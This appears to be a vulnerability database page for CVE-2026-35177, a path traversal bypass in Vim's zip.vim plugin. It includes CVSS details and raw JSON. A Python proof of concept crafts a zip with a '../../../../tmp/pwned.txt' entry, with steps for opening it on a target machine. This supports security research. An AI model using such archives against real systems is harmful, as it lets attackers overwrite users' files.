Security Vulnerability Report
中文
CVE-2026-35177 CVSS 4.1 MEDIUM

CVE-2026-35177

Published: 2026-04-06 18:16:44
Last Modified: 2026-04-20 18:28:04

Description

Vim is an open source, command line text editor. Prior to 9.2.0280, a path traversal bypass in Vim's zip.vim plugin allows overwriting of arbitrary files when opening specially crafted zip archives, circumventing the previous fix for CVE-2025-53906. This vulnerability is fixed in 9.2.0280.

CVSS Details

CVSS Score
4.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:* - VULNERABLE
Vim < 9.2.0280

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import os # Create a malicious zip file to demonstrate the path traversal # Vulnerability: CVE-2026-35177 (Vim zip.vim plugin) def create_exploit_zip(filename, payload_content): """ Creates a zip file containing a file with a path traversal name. """ with zipfile.ZipFile(filename, 'w') as zf: # Use a path traversal sequence to escape the extraction directory # This attempts to write to /tmp/pwned.txt traversal_name = "../../../../tmp/pwned.txt" # Write the payload to the zip file with the malicious name zf.writestr(traversal_name, payload_content) print(f"[+] Created exploit file: {filename}") print(f"[+] Payload intended path: {traversal_name}") if __name__ == "__main__": # Simple payload to verify the write payload = b"If you see this file, the traversal worked." create_exploit_zip("cve_2026_35177_poc.zip", payload) print("\nUsage:") print("1. Transfer 'cve_2026_35177_poc.zip' to the target machine.") print("2. Open the file using a vulnerable version of Vim: vim cve_2026_35177_poc.zip") print("3. Check /tmp/pwned.txt to confirm exploitation.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35177", "sourceIdentifier": "[email protected]", "published": "2026-04-06T18:16:44.003", "lastModified": "2026-04-20T18:28:03.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vim is an open source, command line text editor. Prior to 9.2.0280, a path traversal bypass in Vim's zip.vim plugin allows overwriting of arbitrary files when opening specially crafted zip archives, circumventing the previous fix for CVE-2025-53906. This vulnerability is fixed in 9.2.0280."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:L/A:L", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.0, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.2.0280", "matchCriteriaId": "A3D55A56-DB97-4B25-B92D-3858619803A5"}]}]}], "references": [{"url": "https://github.com/vim/vim/security/advisories/GHSA-jc86-w7vm-8p24", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}